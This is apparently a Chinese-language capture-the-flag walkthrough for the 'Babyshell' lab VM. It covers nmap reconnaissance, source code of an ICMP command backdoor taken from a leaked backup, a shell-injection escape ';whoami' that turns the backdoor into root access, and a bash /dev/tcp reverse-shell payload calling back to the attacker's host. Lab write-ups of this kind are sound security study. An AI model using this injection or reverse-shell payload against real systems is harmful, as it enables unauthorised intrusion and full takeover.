# Babyshell-MJ

## 1.信息收集

```
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:03 EST
Nmap scan report for 192.168.2.9
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds
```

只开放了22和80端口
对80端口进行进一步探测

```
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -p80 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
Host is up (0.00023s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p80 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
```

```
Host is up (0.00028s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /backup.zip: Possible backup
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds
```

发现备份文件，有些内容被删了，不过大体可以命令执行

```
┌──(root㉿kali)-[/tmp/test]
└─# cat icmp.py
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import time
import subprocess
import signal
import threading
from scapy.all import ICMP, IP, Raw, send, sniff, Ether
import base64

TRIGGER_SEQUENCE = b"Mazesec"
LISTEN_INTERFACE = "enp0s3"
SERVER_IP = "0.0.0.0"

class ICMPServer:
    def __init__(self):
        self.running = True
        self.client_ips = {}

    def signal_handler(self, sig, frame):
        print("\n[!] Stopping server...")
        self.running = False
        sys.exit(0)

    def execute_command_as_user(self, command, uid=1000, timeout=30):
```

```
    def parse_icmp_command(self, packet_data):
        try:
            trigger_len = len(TRIGGER_SEQUENCE)
            if len(packet_data) < trigger_len + 4:
                return None

            if packet_data[:trigger_len] != TRIGGER_SEQUENCE:
                return None

            cmd_len = struct.unpack('>I',
packet_data[trigger_len:trigger_len+4])[0]

            if cmd_len <= 0 or cmd_len > 4096:
                return None

            if len(packet_data) < trigger_len + 4 + cmd_len:
                return None

            command =
packet_data[trigger_len+4:trigger_len+4+cmd_len].decode('utf-8',
errors='ignore')
            return command

        except Exception as e:
            print(f"[-] Parse error: {e}")
            return None

    def create_icmp_response(self, original_packet, result):
        try:
            result_bytes = result.encode('utf-8') if isinstance(result, str)
else result
            result_len = len(result_bytes)
            trigger_len = len(TRIGGER_SEQUENCE)

            payload = TRIGGER_SEQUENCE
            payload += struct.pack('>I', result_len)
            payload += result_bytes

            response = IP(dst=original_packet[IP].src) / \
                      ICMP(type=0, id=original_packet[ICMP].id,
seq=original_packet[ICMP].seq) / \
                      Raw(load=payload)

            return response
        except Exception as e:
            print(f"[-] Response creation error: {e}")
            return None

    def handle_icmp_packet(self, packet):
        if not self.running:
            return

        try:
            if packet.haslayer(ICMP) and packet[ICMP].type == 8:
                src_ip = packet[IP].src

                if packet.haslayer(Raw):
                    icmp_data = bytes(packet[Raw].load)

                    command = self.parse_icmp_command(icmp_data)

                    if command:
                        print(f"[+] Command from {src_ip}: {command}")

                        # 以UID 1000执行命令
                        result = self.execute_command_as_user(command, 1000)
                        print(f"[+] Result length: {len(result)}")

                        # 以root权限发送ICMP响应
                        response = self.create_icmp_response(packet, result)
                        if response:
                            send(response, verbose=0)
                            print(f"[+] Response sent to {src_ip}")

                        self.client_ips[src_ip] = time.time()

        except Exception as e:
            print(f"[-] Packet handling error: {e}")

    def start_server(self):

        signal.signal(signal.SIGINT, self.signal_handler)
        signal.signal(signal.SIGTERM, self.signal_handler)

def main():
    server = ICMPServer()
    server.start_server()

if __name__ == "__main__":
    main()
```

## 2.zero

exp拿到反弹shell，交互很有限弹个正常shell到2332端口

```
┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: whoami
[←] Response received (5 bytes)
[+] Backdoor active! Current user: zero

[*] Gathering system information...
[→] Sending: id
[←] Response received (48 bytes)

=== id ===
uid=1000(zero) gid=1000(zero) groups=1000(zero)

[→] Sending: uname -a
[←] Response received (87 bytes)

=== uname -a ===
Linux BabyShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
GNU/Linux

[→] Sending: pwd
[←] Response received (2 bytes)

=== pwd ===
/

[→] Sending: ls -la
[←] Response received (6 bytes)

=== ls -la ===
ls -la
[→] Sending: cat /etc/passwd | head -20
[←] Response received (1016 bytes)

=== cat /etc/passwd | head -20 ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

```
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin

[→] Sending: ip addr show
[←] Response received (817 bytes)

=== ip addr show ===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
UP group default qlen 1000
    link/ether 08:00:27:fe:b7:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.2.9/24 brd 192.168.2.255 scope global dynamic enp0s3
       valid_lft 80142sec preferred_lft 80142sec
    inet6 240e:33d:3d:28b1:a00:27ff:fefe:b75d/64 scope global dynamic
mngtmpaddr
       valid_lft 256115sec preferred_lft 169715sec
    inet6 fe80::a00:27ff:fefe:b75d/64 scope link
       valid_lft forever preferred_lft forever

[→] Sending: ps aux | head -10
[←] Response received (795 bytes)

=== ps aux | head -10 ===
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.5  98848 10236 ?        Ss   00:23   0:00 /sbin/init
root           2  0.0  0.0      0     0 ?        S    00:23   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   00:23   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   00:23   0:00
[rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<   00:23   0:00
[kworker/0:0H-kblockd]
root           8  0.0  0.0      0     0 ?        I<   00:23   0:00
[mm_percpu_wq]
root           9  0.0  0.0      0     0 ?        S    00:23   0:00
[ksoftirqd/0]
root          10  0.0  0.0      0     0 ?        I    00:23   0:00 [rcu_sched]
root          11  0.0  0.0      0     0 ?        I    00:23   0:00 [rcu_bh]

[*] Starting interactive ICMP shell (type 'exit' to quit)
icmp-shell>
```

## shell优化

```
┌──(root㉿kali)-[/tmp/test]
└─# nc -lvvp 2332
listening on [any] 2332 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 33456
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
zero@BabyShell:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
zero@BabyShell:/$ export SHELL=/bin/bash
export SHELL=/bin/bash
zero@BabyShell:/$ export TERM=xterm-256color
export TERM=xterm-256color
zero@BabyShell:/$ ^Z
zsh: suspended  nc -lvvp 2332

┌──(root㉿kali)-[/tmp/test]
└─# stty -a
speed 38400 baud; rows 24; columns 110; line = 0;
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 =
<undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard
= ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -ixon -
ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0
ff0
```

```
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke -flusho -extproc

┌──(root㉿kali)-[/tmp/test]
└─# stty raw -echo;fg
[1]  + continued  nc -lvvp 2332
                              reset

```

# 3.root

opt下发现完整icmp服务端源码，具体关注execute_command_as_user函数内容

```
def execute_command_as_user(self, command, uid=1000, timeout=30):
        try:
            # 使用sudo以指定用户执行命令
            result = subprocess.check_output(
                f"sudo -u zero bash -c '{command}'",
                shell=True,
                stderr=subprocess.STDOUT,
                timeout=timeout,
                text=True
            )
            return result
        except subprocess.TimeoutExpired:
            return f"Error: Command timeout"
        except subprocess.CalledProcessError as e:
            return f"Error: Exit code {e.returncode}\nOutput: {e.output}"
        except Exception as e:
            return f"Error: {str(e)}"

```

```
可以看到f"sudo -u zero bash -c '{command}'"是root执行的而且没有过滤，那就直接拼接拿
shell就行
传入command ';whoami'

┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: ';whoami'
[←] Response received (5 bytes)
[+] Backdoor active! Current user: root
```

能成功执行那就开始反弹shell

反弹报错fd的可以看这个博客

[解决ubuntu crontab反弹shell失败的问题 | m3lon]

`payload:';bash -c 'bash -i >&/dev/tcp/192.168.2.5/2333 0>&1''`

```
┌──(root㉿kali)-[/tmp/test]
└─# python3 exp.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: ';bash -c 'bash -i  >&/dev/tcp/192.168.2.5/2333 0>&1''
[←] Response received (54 bytes)
[+] Backdoor active! Current user: ';bash -c 'bash -i
>&/dev/tcp/192.168.2.5/2333 0>&1''


┌──(root㉿kali)-[~]
└─# nc -lvvp 2333
listening on [any] 2333 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 42254
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
root@BabyShell:/#
```

接到root shell